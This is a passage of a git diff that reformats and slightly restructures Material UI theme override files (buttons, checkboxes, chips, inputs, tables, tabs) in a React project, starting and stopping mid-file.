getColorStyle({ variant: 'text', color: 'secondary', theme }) }, + { props: { variant: 'text', color: 'error' }, style: getColorStyle({ variant: 'text', color: 'error', theme }) }, + { props: { variant: 'text', color: 'success' }, style: getColorStyle({ variant: 'text', color: 'success', theme }) }, + { props: { variant: 'text', color: 'info' }, style: getColorStyle({ variant: 'text', color: 'info', theme }) }, + { props: { variant: 'text', color: 'warning' }, style: getColorStyle({ variant: 'text', color: 'warning', theme }) } + ] + }, + contained: { + '&.Mui-disabled': { + ...disabledStyle + } + }, + outlined: { + '&.Mui-disabled': { + ...disabledStyle, + '&:hover': { + backgroundColor: theme.vars.palette.grey[200], + color: `${theme.vars.palette.grey[300]} !important`, + borderColor: 'inherit' + } + } + }, + text: { + boxShadow: 'none', + '&:hover': { + boxShadow: 'none' + } + }, + endIcon: { + ...iconStyle + }, + startIcon: { + ...iconStyle + }, + dashed: { + border: '1px dashed', + ...primaryDashed, + '&.MuiButton-dashedPrimary': getColorStyle({ variant: 'dashed', color: 'primary', theme }), + '&.MuiButton-dashedSecondary': getColorStyle({ variant: 'dashed', color: 'secondary', theme }), + '&.MuiButton-dashedError': getColorStyle({ variant: 'dashed', color: 'error', theme }), + '&.MuiButton-dashedSuccess': getColorStyle({ variant: 'dashed', color: 'success', theme }), + '&.MuiButton-dashedInfo': getColorStyle({ variant: 'dashed', color: 'info', theme }), + '&.MuiButton-dashedWarning': getColorStyle({ variant: 'dashed', color: 'warning', theme }), + '&.Mui-disabled': { + color: `${theme.vars.palette.grey[300]} !important`, + borderColor: `${theme.vars.palette.grey[400]} !important`, + backgroundColor: `${theme.vars.palette.grey[200]} !important` + } + }, + shadow: { + ...primaryShadow, + '&.MuiButton-shadowPrimary': getColorStyle({ variant: 'shadow', color: 'primary', theme }), + '&.MuiButton-shadowSecondary': getColorStyle({ variant: 'shadow', color: 'secondary', theme }), + '&.MuiButton-shadowError': getColorStyle({ variant: 'shadow', color: 'error', theme }), + '&.MuiButton-shadowSuccess': getColorStyle({ variant: 'shadow', color: 'success', theme }), + '&.MuiButton-shadowInfo': getColorStyle({ variant: 'shadow', color: 'info', theme }), + '&.MuiButton-shadowWarning': getColorStyle({ variant: 'shadow', color: 'warning', theme }), + '&.Mui-disabled': { + color: `${theme.vars.palette.grey[300]} !important`, + borderColor: `${theme.vars.palette.grey[400]} !important`, + backgroundColor: `${theme.vars.palette.grey[200]} !important` + } + }, + sizeExtraSmall: { + minWidth: 56, + fontSize: '0.625rem', + padding: '2px 8px' + }, + loading: { + pointerEvents: 'none !important', + '& svg': { + width: 'inherit', + height: 'inherit' + }, + '&.MuiButton-loadingPositionCenter': { + color: 'transparent !important' + } + } + } + } + }; +} diff --git a/src/themes/overrides/ButtonBase.js b/src/themes/overrides/ButtonBase.js index 9e4e2ec0a..11c3c2bc9 100644 --- a/src/themes/overrides/ButtonBase.js +++ b/src/themes/overrides/ButtonBase.js @@ -1,19 +1,19 @@ -// ==============================|| OVERRIDES - BUTTON ||============================== // - -export default function ButtonBase() { - return { - MuiButtonBase: { - defaultProps: { - disableRipple: true - }, - styleOverrides: { - root: { - '&.MuiButtonBase-root:disabled': { - cursor: 'not-allowed', - pointerEvents: 'auto' - } - } - } - } - }; -} +// ==============================|| OVERRIDES - BUTTON ||============================== // + +export default function ButtonBase() { + return { + MuiButtonBase: { + defaultProps: { + disableRipple: true + }, + styleOverrides: { + root: { + '&.MuiButtonBase-root:disabled': { + cursor: 'not-allowed', + pointerEvents: 'auto' + } + } + } + } + }; +} diff --git a/src/themes/overrides/CardContent.js b/src/themes/overrides/CardContent.js index 4a1f515fc..9b8dc1f2e 100644 --- a/src/themes/overrides/CardContent.js +++ b/src/themes/overrides/CardContent.js @@ -1,16 +1,16 @@ -// ==============================|| OVERRIDES - CARD CONTENT ||============================== // - -export default function CardContent() { - return { - MuiCardContent: { - styleOverrides: { - root: { - padding: 20, - '&:last-child': { - paddingBottom: 20 - } - } - } - } - }; -} +// ==============================|| OVERRIDES - CARD CONTENT ||============================== // + +export default function CardContent() { + return { + MuiCardContent: { + styleOverrides: { + root: { + padding: 20, + '&:last-child': { + paddingBottom: 20 + } + } + } + } + }; +} diff --git a/src/themes/overrides/Checkbox.jsx b/src/themes/overrides/Checkbox.jsx index 136c4120b..12daf1b53 100644 --- a/src/themes/overrides/Checkbox.jsx +++ b/src/themes/overrides/Checkbox.jsx @@ -1,93 +1,93 @@ -import PropTypes from 'prop-types'; - -// project imports -import getColors from 'utils/getColors'; - -// assets -import BorderOutlined from '@ant-design/icons/BorderOutlined'; -import CheckSquareFilled from '@ant-design/icons/CheckSquareFilled'; -import MinusSquareFilled from '@ant-design/icons/MinusSquareFilled'; - -// ==============================|| RADIO - COLORS ||============================== // - -function getColorStyle({ color, theme }) { - const colors = getColors(theme, color); - const { lighter, main, dark } = colors; - - return { - '&:hover': { - backgroundColor: lighter, - '& .icon': { - borderColor: main - } - }, - '&.Mui-focusVisible': { - outline: `2px solid ${dark}`, - outlineOffset: -4 - } - }; -} - -function getSizeStyle(size) { - switch (size) { - case 'small': - return { fontSize: 1.15 }; - case 'large': - return { fontSize: 1.6 }; - case 'medium': - default: - return { fontSize: 1.35 }; - } -} - -// ==============================|| CHECKBOX - STYLE ||============================== // - -function checkboxStyle(size) { - const sizes = getSizeStyle(size); - - return { - '& .icon': { - fontSize: `${sizes.fontSize}rem` - } - }; -} - -// ==============================|| OVERRIDES - CHECKBOX ||============================== // - -export default function Checkbox(theme) { - const { palette } = theme; - - return { - MuiCheckbox: { - defaultProps: { - className: 'size-small', - icon: <BorderOutlined className="icon" />, - checkedIcon: <CheckSquareFilled className="icon" />, - indeterminateIcon: <MinusSquareFilled className="icon" /> - }, - styleOverrides: { - root: { - borderRadius: 0, - color: palette.secondary[300], - '&.size-small': { - ...checkboxStyle('small') - }, - '&.size-medium': { - ...checkboxStyle('medium') - }, - '&.size-large': { - ...checkboxStyle('large') - } - }, - colorPrimary: getColorStyle({ color: 'primary', theme }), - colorSecondary: getColorStyle({ color: 'secondary', theme }), - colorSuccess: getColorStyle({ color: 'success', theme }), - colorWarning: getColorStyle({ color: 'warning', theme }), - colorInfo: getColorStyle({ color: 'info', theme }), - colorError: getColorStyle({ color: 'error', theme }) - } - } - }; -} - -getColorStyle.propTypes = { color: PropTypes.any, theme: PropTypes.any }; +import PropTypes from 'prop-types'; + +// project imports +import getColors from 'utils/getColors'; + +// assets +import BorderOutlined from '@ant-design/icons/BorderOutlined'; +import CheckSquareFilled from '@ant-design/icons/CheckSquareFilled'; +import MinusSquareFilled from '@ant-design/icons/MinusSquareFilled'; + +// ==============================|| RADIO - COLORS ||============================== // + +function getColorStyle({ color, theme }) { + const colors = getColors(theme, color); + const { lighter, main, dark } = colors; + + return { + '&:hover': { + backgroundColor: lighter, + '& .icon': { + borderColor: main + } + }, + '&.Mui-focusVisible': { + outline: `2px solid ${dark}`, + outlineOffset: -4 + } + }; +} + +function getSizeStyle(size) { + switch (size) { + case 'small': + return { fontSize: 1.15 }; + case 'large': + return { fontSize: 1.6 }; + case 'medium': + default: + return { fontSize: 1.35 }; + } +} + +// ==============================|| CHECKBOX - STYLE ||============================== // + +function checkboxStyle(size) { + const sizes = getSizeStyle(size); + + return { + '& .icon': { + fontSize: `${sizes.fontSize}rem` + } + }; +} + +// ==============================|| OVERRIDES - CHECKBOX ||============================== // + +export default function Checkbox(theme) { + const { palette } = theme; + + return { + MuiCheckbox: { + defaultProps: { + className: 'size-small', + icon: <BorderOutlined className="icon" />, + checkedIcon: <CheckSquareFilled className="icon" />, + indeterminateIcon: <MinusSquareFilled className="icon" /> + }, + styleOverrides: { + root: { + borderRadius: 0, + color: palette.secondary[300], + '&.size-small': { + ...checkboxStyle('small') + }, + '&.size-medium': { + ...checkboxStyle('medium') + }, + '&.size-large': { + ...checkboxStyle('large') + }, + '&.MuiCheckbox-colorPrimary': getColorStyle({ color: 'primary', theme }), + '&.MuiCheckbox-colorSecondary': getColorStyle({ color: 'secondary', theme }), + '&.MuiCheckbox-colorSuccess': getColorStyle({ color: 'success', theme }), + '&.MuiCheckbox-colorWarning': getColorStyle({ color: 'warning', theme }), + '&.MuiCheckbox-colorInfo': getColorStyle({ color: 'info', theme }), + '&.MuiCheckbox-colorError': getColorStyle({ color: 'error', theme }) + } + } + } + }; +} + +getColorStyle.propTypes = { color: PropTypes.any, theme: PropTypes.any }; diff --git a/src/themes/overrides/Chip.js b/src/themes/overrides/Chip.js index 946e902ee..a976e530a 100644 --- a/src/themes/overrides/Chip.js +++ b/src/themes/overrides/Chip.js @@ -1,80 +1,80 @@ -// project imports -import getColors from 'utils/getColors'; - -// ==============================|| CHIP - COLORS ||============================== // - -function getColor({ color, theme }) { - const colors = getColors(theme, color); - const { dark } = colors; - - return { - '&.Mui-focusVisible': { - outline: `2px solid ${dark}`, - outlineOffset: 2 - } - }; -} - -function getColorStyle({ color, theme }) { - const colors = getColors(theme, color); - const { light, lighter, main } = colors; - - return { - color: main, - backgroundColor: lighter, - borderColor: light, - '& .MuiChip-deleteIcon': { - color: main, - '&:hover': { - color: light - } - } - }; -} - -// ==============================|| OVERRIDES - CHIP ||============================== // - -export default function Chip(theme) { - const defaultLightChip = getColorStyle({ color: 'secondary', theme }); - return { - MuiChip: { - styleOverrides: { - root: { - borderRadius: 4, - '&:active': { - boxShadow: 'none' - }, - '&.MuiChip-colorPrimary': getColor({ color: 'primary', theme }), - '&.MuiChip-colorSecondary': getColor({ color: 'secondary', theme }), - '&.MuiChip-colorError': getColor({ color: 'error', theme }), - '&.MuiChip-colorInfo': getColor({ color: 'info', theme }), - '&.MuiChip-colorSuccess': getColor({ color: 'success', theme }), - '&.MuiChip-colorWarning': getColor({ color: 'warning', theme }) - }, - sizeLarge: { - fontSize: '1rem', - height: 40 - }, - light: { - ...defaultLightChip, - '&.MuiChip-lightPrimary': getColorStyle({ color: 'primary', theme }), - '&.MuiChip-lightSecondary': getColorStyle({ color: 'secondary', theme }), - '&.MuiChip-lightError': getColorStyle({ color: 'error', theme }), - '&.MuiChip-lightInfo': getColorStyle({ color: 'info', theme }), - '&.MuiChip-lightSuccess': getColorStyle({ color: 'success', theme }), - '&.MuiChip-lightWarning': getColorStyle({ color: 'warning', theme }) - }, - combined: { - border: '1px solid', - ...defaultLightChip, - '&.MuiChip-combinedPrimary': getColorStyle({ color: 'primary', theme }), - '&.MuiChip-combinedSecondary': getColorStyle({ color: 'secondary', theme }), - '&.MuiChip-combinedError': getColorStyle({ color: 'error', theme }), - '&.MuiChip-combinedInfo': getColorStyle({ color: 'info', theme }), - '&.MuiChip-combinedSuccess': getColorStyle({ color: 'success', theme }), - '&.MuiChip-combinedWarning': getColorStyle({ color: 'warning', theme }) - } - } - } - }; -} +// project imports +import getColors from 'utils/getColors'; + +// ==============================|| CHIP - COLORS ||============================== // + +function getColor({ color, theme }) { + const colors = getColors(theme, color); + const { dark } = colors; + + return { + '&.Mui-focusVisible': { + outline: `2px solid ${dark}`, + outlineOffset: 2 + } + }; +} + +function getColorStyle({ color, theme }) { + const colors = getColors(theme, color); + const { light, lighter, main } = colors; + + return { + color: main, + backgroundColor: lighter, + borderColor: light, + '& .MuiChip-deleteIcon': { + color: main, + '&:hover': { + color: light + } + } + }; +} + +// ==============================|| OVERRIDES - CHIP ||============================== // + +export default function Chip(theme) { + const defaultLightChip = getColorStyle({ color: 'secondary', theme }); + return { + MuiChip: { + styleOverrides: { + root: { + borderRadius: 4, + '&:active': { + boxShadow: 'none' + }, + '&.MuiChip-colorPrimary': getColor({ color: 'primary', theme }), + '&.MuiChip-colorSecondary': getColor({ color: 'secondary', theme }), + '&.MuiChip-colorError': getColor({ color: 'error', theme }), + '&.MuiChip-colorInfo': getColor({ color: 'info', theme }), + '&.MuiChip-colorSuccess': getColor({ color: 'success', theme }), + '&.MuiChip-colorWarning': getColor({ color: 'warning', theme }) + }, + sizeLarge: { + fontSize: '1rem', + height: 40 + }, + light: { + ...defaultLightChip, + '&.MuiChip-lightPrimary': getColorStyle({ color: 'primary', theme }), + '&.MuiChip-lightSecondary': getColorStyle({ color: 'secondary', theme }), + '&.MuiChip-lightError': getColorStyle({ color: 'error', theme }), + '&.MuiChip-lightInfo': getColorStyle({ color: 'info', theme }), + '&.MuiChip-lightSuccess': getColorStyle({ color: 'success', theme }), + '&.MuiChip-lightWarning': getColorStyle({ color: 'warning', theme }) + }, + combined: { + border: '1px solid', + ...defaultLightChip, + '&.MuiChip-combinedPrimary': getColorStyle({ color: 'primary', theme }), + '&.MuiChip-combinedSecondary': getColorStyle({ color: 'secondary', theme }), + '&.MuiChip-combinedError': getColorStyle({ color: 'error', theme }), + '&.MuiChip-combinedInfo': getColorStyle({ color: 'info', theme }), + '&.MuiChip-combinedSuccess': getColorStyle({ color: 'success', theme }), + '&.MuiChip-combinedWarning': getColorStyle({ color: 'warning', theme }) + } + } + } + }; +} diff --git a/src/themes/overrides/Drawer.js b/src/themes/overrides/Drawer.js index 7c6f78c60..468a1a57c 100644 --- a/src/themes/overrides/Drawer.js +++ b/src/themes/overrides/Drawer.js @@ -1,13 +1,13 @@ -// ==============================|| OVERRIDES - DRAWER ||============================== // - -export default function Drawer() { - return { - MuiDrawer: { - styleOverrides: { - paper: { - backgroundImage: 'none' - } - } - } - }; -} +// ==============================|| OVERRIDES - DRAWER ||============================== // + +export default function Drawer() { + return { + MuiDrawer: { + styleOverrides: { + paper: { + backgroundImage: 'none' + } + } + } + }; +} diff --git a/src/themes/overrides/FormHelperText.js b/src/themes/overrides/FormHelperText.js index ed815d47a..9b3ab7101 100644 --- a/src/themes/overrides/FormHelperText.js +++ b/src/themes/overrides/FormHelperText.js @@ -1,14 +1,14 @@ -// ==============================|| OVERRIDES - FORM HELPER TEXT ||============================== // - -export default function FormHelperText() { - return { - MuiFormHelperText: { - styleOverrides: { - root: { - marginTop: 4, - marginLeft: 0 - } - } - } - }; -} +// ==============================|| OVERRIDES - FORM HELPER TEXT ||============================== // + +export default function FormHelperText() { + return { + MuiFormHelperText: { + styleOverrides: { + root: { + marginTop: 4, + marginLeft: 0 + } + } + } + }; +} diff --git a/src/themes/overrides/IconButton.js b/src/themes/overrides/IconButton.js index 61cbbae9e..aeafee615 100644 --- a/src/themes/overrides/IconButton.js +++ b/src/themes/overrides/IconButton.js @@ -1,35 +1,35 @@ -// ==============================|| OVERRIDES - ICON BUTTON ||============================== // - -export default function IconButton(theme) { - return { - MuiIconButton: { - styleOverrides: { - root: { - borderRadius: 4, - '&.MuiIconButton-loading': { - pointerEvents: 'none !important', - '& svg': { - width: 'inherit !important', - height: 'inherit !important' - } - } - }, - sizeLarge: { - width: theme.spacing(5.5), - height: theme.spacing(5.5), - fontSize: '1.25rem' - }, - sizeMedium: { - width: theme.spacing(4.5), - height: theme.spacing(4.5), - fontSize: '1rem' - }, - sizeSmall: { - width: theme.spacing(3.75), - height: theme.spacing(3.75), - fontSize: '0.75rem' - } - } - } - }; -} +// ==============================|| OVERRIDES - ICON BUTTON ||============================== // + +export default function IconButton(theme) { + return { + MuiIconButton: { + styleOverrides: { + root: { + borderRadius: 4, + '&.MuiIconButton-loading': { + pointerEvents: 'none !important', + '& svg': { + width: 'inherit !important', + height: 'inherit !important' + } + } + }, + sizeLarge: { + width: theme.spacing(5.5), + height: theme.spacing(5.5), + fontSize: '1.25rem' + }, + sizeMedium: { + width: theme.spacing(4.5), + height: theme.spacing(4.5), + fontSize: '1rem' + }, + sizeSmall: { + width: theme.spacing(3.75), + height: theme.spacing(3.75), + fontSize: '0.75rem' + } + } + } + }; +} diff --git a/src/themes/overrides/InputLabel.js b/src/themes/overrides/InputLabel.js index 7557c73d3..46fe944f9 100644 --- a/src/themes/overrides/InputLabel.js +++ b/src/themes/overrides/InputLabel.js @@ -1,27 +1,27 @@ -// ==============================|| OVERRIDES - INPUT LABEL ||============================== // - -export default function InputLabel(theme) { - return { - MuiInputLabel: { - styleOverrides: { - root: { - color: theme.vars.palette.grey[600] - }, - outlined: { - lineHeight: '1rem', - top: -4, - '&.MuiInputLabel-sizeSmall': { - lineHeight: '1em' - }, - '&.MuiInputLabel-shrink': { - background: theme.vars.palette.background.paper, - padding: '0 8px', - marginLeft: -6, - top: 2, - lineHeight: '1rem' - } - } - } - } - }; -} +// ==============================|| OVERRIDES - INPUT LABEL ||============================== // + +export default function InputLabel(theme) { + return { + MuiInputLabel: { + styleOverrides: { + root: { + color: theme.vars.palette.grey[600] + }, + outlined: { + lineHeight: '1rem', + top: -4, + '&.MuiInputLabel-sizeSmall': { + lineHeight: '1em' + }, + '&.MuiInputLabel-shrink': { + background: theme.vars.palette.background.paper, + padding: '0 8px', + marginLeft: -6, + top: 2, + lineHeight: '1rem' + } + } + } + } + }; +} diff --git a/src/themes/overrides/LinearProgress.js b/src/themes/overrides/LinearProgress.js index 20cb67dff..84a31e7b9 100644 --- a/src/themes/overrides/LinearProgress.js +++ b/src/themes/overrides/LinearProgress.js @@ -1,17 +1,17 @@ -// ==============================|| OVERRIDES - LINER PROGRESS ||============================== // - -export default function LinearProgress() { - return { - MuiLinearProgress: { - styleOverrides: { - root: { - height: 6, - borderRadius: 100 - }, - bar: { - borderRadius: 100 - } - } - } - }; -} +// ==============================|| OVERRIDES - LINER PROGRESS ||============================== // + +export default function LinearProgress() { + return { + MuiLinearProgress: { + styleOverrides: { + root: { + height: 6, + borderRadius: 100 + }, + bar: { + borderRadius: 100 + } + } + } + }; +} diff --git a/src/themes/overrides/Link.js b/src/themes/overrides/Link.js index fe7b40924..7580d2421 100644 --- a/src/themes/overrides/Link.js +++ b/src/themes/overrides/Link.js @@ -1,11 +1,11 @@ -// ==============================|| OVERRIDES - LINK ||============================== // - -export default function Link() { - return { - MuiLink: { - defaultProps: { - underline: 'hover' - } - } - }; -} +// ==============================|| OVERRIDES - LINK ||============================== // + +export default function Link() { + return { + MuiLink: { + defaultProps: { + underline: 'hover' + } + } + }; +} diff --git a/src/themes/overrides/ListItemButton.jsx b/src/themes/overrides/ListItemButton.jsx index 381f35267..988c0d561 100644 --- a/src/themes/overrides/ListItemButton.jsx +++ b/src/themes/overrides/ListItemButton.jsx @@ -1,18 +1,18 @@ -// ==============================|| OVERRIDES - LIST ITEM ICON ||============================== // - -export default function ListItemButton(theme) { - return { - MuiListItemButton: { - styleOverrides: { - root: { - '&.Mui-selected': { - color: theme.vars.palette.primary.main, - '& .MuiListItemIcon-root': { - color: theme.vars.palette.primary.main - } - } - } - } - } - }; -} +// ==============================|| OVERRIDES - LIST ITEM ICON ||============================== // + +export default function ListItemButton(theme) { + return { + MuiListItemButton: { + styleOverrides: { + root: { + '&.Mui-selected': { + color: theme.vars.palette.primary.main, + '& .MuiListItemIcon-root': { + color: theme.vars.palette.primary.main + } + } + } + } + } + }; +} diff --git a/src/themes/overrides/ListItemIcon.jsx b/src/themes/overrides/ListItemIcon.jsx index 9cbc4ad4b..a59ee5e58 100644 --- a/src/themes/overrides/ListItemIcon.jsx +++ b/src/themes/overrides/ListItemIcon.jsx @@ -1,14 +1,14 @@ -// ==============================|| OVERRIDES - LIST ITEM ICON ||============================== // - -export default function ListItemIcon(theme) { - return { - MuiListItemIcon: { - styleOverrides: { - root: { - minWidth: 24, - color: theme.vars.palette.text.primary - } - } - } - }; -} +// ==============================|| OVERRIDES - LIST ITEM ICON ||============================== // + +export default function ListItemIcon(theme) { + return { + MuiListItemIcon: { + styleOverrides: { + root: { + minWidth: 24, + color: theme.vars.palette.text.primary + } + } + } + }; +} diff --git a/src/themes/overrides/OutlinedInput.js b/src/themes/overrides/OutlinedInput.js index 7dbcaaa4e..2c84726d7 100644 --- a/src/themes/overrides/OutlinedInput.js +++ b/src/themes/overrides/OutlinedInput.js @@ -1,38 +1,41 @@ -// project imports -import getColors from 'utils/getColors'; -import getShadow from 'utils/getShadow'; - -// ==============================|| OVERRIDES - INPUT BORDER & SHADOWS ||============================== // - -function getColor({ variant, theme }) { - const colors = getColors(theme, variant); - const { light } = colors; - - const shadows = getShadow(theme, `${variant}`); - - return { - '&:hover .MuiOutlinedInput-notchedOutline': { borderColor: light }, - '&.Mui-focused': { boxShadow: shadows, '& .MuiOutlinedInput-notchedOutline': { border: '1px solid', borderColor: light } } - }; -} - -// ==============================|| OVERRIDES - OUTLINED INPUT ||============================== // - -export default function OutlinedInput(theme) { - return { - MuiOutlinedInput: { - styleOverrides: { - input: { padding: '10.5px 14px 10.5px 12px' }, - notchedOutline: { borderColor: theme.vars.palette.grey[300] }, - root: { ...getColor({ variant: 'primary', theme }), '&.Mui-error': { ...getColor({ variant: 'error', theme }) } }, - inputSizeSmall: { padding: '7.5px 8px 7.5px 12px' }, - inputMultiline: { padding: 0 }, - colorSecondary: getColor({ variant: 'secondary', theme }), - colorError: getColor({ variant: 'error', theme }), - colorWarning: getColor({ variant: 'warning', theme }), - colorInfo: getColor({ variant: 'info', theme }), - colorSuccess: getColor({ variant: 'success', theme }) - } - } - }; -} +// project imports +import getColors from 'utils/getColors'; +import getShadow from 'utils/getShadow'; + +// ==============================|| OVERRIDES - INPUT BORDER & SHADOWS ||============================== // + +function getColor({ variant, theme }) { + const colors = getColors(theme, variant); + const { light } = colors; + + const shadows = getShadow(theme, `${variant}`); + + return { + '&:hover .MuiOutlinedInput-notchedOutline': { borderColor: light }, + '&.Mui-focused': { boxShadow: shadows, '& .MuiOutlinedInput-notchedOutline': { border: '1px solid', borderColor: light } } + }; +} + +// ==============================|| OVERRIDES - OUTLINED INPUT ||============================== // + +export default function OutlinedInput(theme) { + return { + MuiOutlinedInput: { + styleOverrides: { + input: { padding: '10.5px 14px 10.5px 12px' }, + notchedOutline: { borderColor: theme.vars.palette.grey[300] }, + root: { + ...getColor({ variant: 'primary', theme }), + '&.Mui-error': { ...getColor({ variant: 'error', theme }) }, + '&.MuiInputBase-sizeSmall > .MuiInputBase-input': { padding: '7.5px 8px 7.5px 12px' }, + '&.MuiInputBase-multiline > .MuiInputBase-input': { padding: 0 }, + '&.MuiOutlinedInput-colorSecondary': { ...getColor({ variant: 'secondary', theme }) }, + '&.MuiOutlinedInput-colorError': { ...getColor({ variant: 'error', theme }) }, + '&.MuiOutlinedInput-colorWarning': { ...getColor({ variant: 'warning', theme }) }, + '&.MuiOutlinedInput-colorInfo': { ...getColor({ variant: 'info', theme }) }, + '&.MuiOutlinedInput-colorSuccess': { ...getColor({ variant: 'success', theme }) } + } + } + } + }; +} diff --git a/src/themes/overrides/Tab.js b/src/themes/overrides/Tab.js index 03d107554..124cce551 100644 --- a/src/themes/overrides/Tab.js +++ b/src/themes/overrides/Tab.js @@ -1,27 +1,27 @@ -// project imports -import { withAlpha } from 'utils/colorUtils'; - -// ==============================|| OVERRIDES - TAB ||============================== // - -export default function Tab(theme) { - return { - MuiTab: { - styleOverrides: { - root: { - minHeight: 46, - color: theme.vars.palette.text.primary, - borderRadius: 4, - '&:hover': { - backgroundColor: withAlpha(theme.vars.palette.primary.lighter, 0.6), - color: theme.vars.palette.primary.main - }, - '&:focus-visible': { - borderRadius: 4, - outline: `2px solid ${theme.vars.palette.secondary.dark}`, - outlineOffset: -3 - } - } - } - } - }; -} +// project imports +import { withAlpha } from 'utils/colorUtils'; + +// ==============================|| OVERRIDES - TAB ||============================== // + +export default function Tab(theme) { + return { + MuiTab: { + styleOverrides: { + root: { + minHeight: 46, + color: theme.vars.palette.text.primary, + borderRadius: 4, + '&:hover': { + backgroundColor: withAlpha(theme.vars.palette.primary.lighter, 0.6), + color: theme.vars.palette.primary.main + }, + '&:focus-visible': { + borderRadius: 4, + outline: `2px solid ${theme.vars.palette.secondary.dark}`, + outlineOffset: -3 + } + } + } + } + }; +} diff --git a/src/themes/overrides/TableBody.js b/src/themes/overrides/TableBody.js index dc716f1a2..58f879d32 100644 --- a/src/themes/overrides/TableBody.js +++ b/src/themes/overrides/TableBody.js @@ -1,22 +1,22 @@ -// ==============================|| OVERRIDES - TABLE ROW ||============================== // - -export default function TableBody(theme) { - const hoverStyle = { - '&:hover': { - backgroundColor: theme.vars.palette.action.hover - } - }; - - return { - MuiTableBody: { - styleOverrides: { - root: { - backgroundColor: theme.vars.palette.background.paper, - '& .MuiTableRow-root': { - ...hoverStyle - } - } - } - } - }; -} +// ==============================|| OVERRIDES - TABLE ROW ||============================== // + +export default function TableBody(theme) { + const hoverStyle = { + '&:hover': { + backgroundColor: theme.vars.palette.action.hover + } + }; + + return { + MuiTableBody: { + styleOverrides: { + root: { + backgroundColor: theme.vars.palette.background.paper, + '& .MuiTableRow-root': { + ...hoverStyle + } + } + } + } + }; +} diff --git a/src/themes/overrides/TableCell.js b/src/themes/overrides/TableCell.js index da37d4284..a31bf957f 100644 --- a/src/themes/overrides/TableCell.js +++ b/src/themes/overrides/TableCell.js @@ -1,64 +1,64 @@ -// ==============================|| OVERRIDES - TABLE CELL ||============================== // - -export default function TableCell(theme) { - const commonCell = { - fontSize: '0.75rem', - textTransform: 'uppercase', - '&:not(:last-of-type)': { - backgroundImage: `linear-gradient(${theme.vars.palette.divider}, ${theme.vars.palette.divider})`, - backgroundRepeat: 'no-repeat', - /* 1px wide, shorter than full height */ - backgroundSize: '1px calc(100% - 30px)', - /* 16px from top */ - backgroundPosition: 'right 16px' - } - }; - - return { - MuiTableCell: { - styleOverrides: { - root: ({ ownerState }) => { - const baseStyle = { - fontSize: '0.875rem', - padding: 12, - borderColor: theme.vars.palette.divider - }; - - const align = ownerState.align; - - if (align === 'right') { - return { - ...baseStyle, - justifyContent: 'flex-end', - textAlign: 'right', - '& > *': { - justifyContent: 'flex-end', - margin: '0 0 0 auto' - }, - '& .MuiOutlinedInput-input': { - textAlign: 'right' - } - }; - } - - if (align === 'center') { - return { - ...baseStyle, - justifyContent: 'center', - textAlign: 'center', - '& > *': { - justifyContent: 'center', - margin: '0 auto' - } - }; - } - - return baseStyle; - }, - sizeSmall: { padding: 8 }, - head: { fontWeight: 700, ...commonCell }, - footer: { ...commonCell } - } - } - }; -} +// ==============================|| OVERRIDES - TABLE CELL ||============================== // + +export default function TableCell(theme) { + const commonCell = { + fontSize: '0.75rem', + textTransform: 'uppercase', + '&:not(:last-of-type)': { + backgroundImage: `linear-gradient(${theme.vars.palette.divider}, ${theme.vars.palette.divider})`, + backgroundRepeat: 'no-repeat', + /* 1px wide, shorter than full height */ + backgroundSize: '1px calc(100% - 30px)', + /* 16px from top */ + backgroundPosition: 'right 16px' + } + }; + + return { + MuiTableCell: { + styleOverrides: { + root: ({ ownerState }) => { + const baseStyle = { + fontSize: '0.875rem', + padding: 12, + borderColor: theme.vars.palette.divider + }; + + const align = ownerState.align; + + if (align === 'right') { + return { + ...baseStyle, + justifyContent: 'flex-end', + textAlign: 'right', + '& > *': { + justifyContent: 'flex-end', + margin: '0 0 0 auto' + }, + '& .MuiOutlinedInput-input': { + textAlign: 'right' + } + }; + } + + if (align === 'center') { + return { + ...baseStyle, + justifyContent: 'center', + textAlign: 'center', + '& > *': { + justifyContent: 'center', + margin: '0 auto' + } + }; + } + + return baseStyle; + }, + sizeSmall: { padding: 8 }, + head: { fontWeight: 700, ...commonCell }, + footer: { ...commonCell } + } + } + }; +} diff --git a/src/themes/overrides/TableHead.js b/src/themes/overrides/TableHead.js index c5f6df040..145975369 100644 --- a/src/themes/overrides/TableHead.js +++ b/src/themes/overrides/TableHead.js @@ -1,17 +1,17 @@ -// ==============================|| OVERRIDES - TABLE CELL ||============================== // - -export default function TableHead(theme) { - return { - MuiTableHead: { - styleOverrides: { - root: { - backgroundColor: theme.vars.palette.grey[50], - borderTop: '1px solid', - borderTopColor: theme.vars.palette.divider, - borderBottom: '2px solid', - borderBottomColor: theme.vars.palette.divider - } - } - } - }; -} +// ==============================|| OVERRIDES - TABLE CELL ||============================== // + +export default function TableHead(theme) { + return { + MuiTableHead: { + styleOverrides: { + root: { + backgroundColor: theme.vars.palette.grey[50], + borderTop: '1px solid', + borderTopColor: theme.vars.palette.divider, + borderBottom: '2px solid', + borderBottomColor: theme.vars.palette.divider + } + } + } + }; +} diff --git a/src/themes/overrides/TableRow.js b/src/themes/overrides/TableRow.js index 498bf97fd..fa14cfad0 100644 --- a/src/themes/overrides/TableRow.js +++ b/src/themes/overrides/TableRow.js @@ -1,25 +1,25 @@ -// ==============================|| OVERRIDES - TABLE ROW ||============================== // - -export default function TableRow() { - return { - MuiTableRow: { - styleOverrides: { - root: { - '&:last-of-type': { - '& .MuiTableCell-root': { - borderBottom: 'none' - } - }, - '& .MuiTableCell-root': { - '&:last-of-type': { - paddingRight: 24 - }, - '&:first-of-type': { - paddingLeft: 24 - } - } - } - } - } - }; -} +// ==============================|| OVERRIDES - TABLE ROW ||============================== // + +export default function TableRow() { + return { + MuiTableRow: { + styleOverrides: { + root: { + '&:last-of-type': { + '& .MuiTableCell-root': { + borderBottom: 'none' + } + }, + '& .MuiTableCell-root': { + '&:last-of-type': { + paddingRight: 24 + }, + '&:first-of-type': { + paddingLeft: 24 + } + } + } + } + } + }; +} diff --git a/src/themes/overrides/Tabs.js b/src/themes/overrides/Tabs.js index 661de7d59..2eaf69e2f 100644 --- a/src/themes/overrides/Tabs.js +++ b/src/themes/overrides/Tabs.js @@ -1,13 +1,13 @@ -// ==============================|| OVERRIDES - TABS ||============================== // - -export default function Tabs() { - return { - MuiTabs: { - styleOverrides: { - vertical: { - overflow: 'visible' - } - } - } - }; -} +// ==============================|| OVERRIDES - TABS ||============================== // + +export default function Tabs() { + return { + MuiTabs: { + styleOverrides: { + vertical: { + overflow: 'visible' + } + } + } + }; +} diff --git a/src/themes/overrides/Tooltip.js b/src/themes/overrides/Tooltip.js index 741d3f2d1..a199bb1f8 100644 --- a/src/themes/overrides/Tooltip.js +++ b/src/themes/overrides/Tooltip.js @@ -1,13 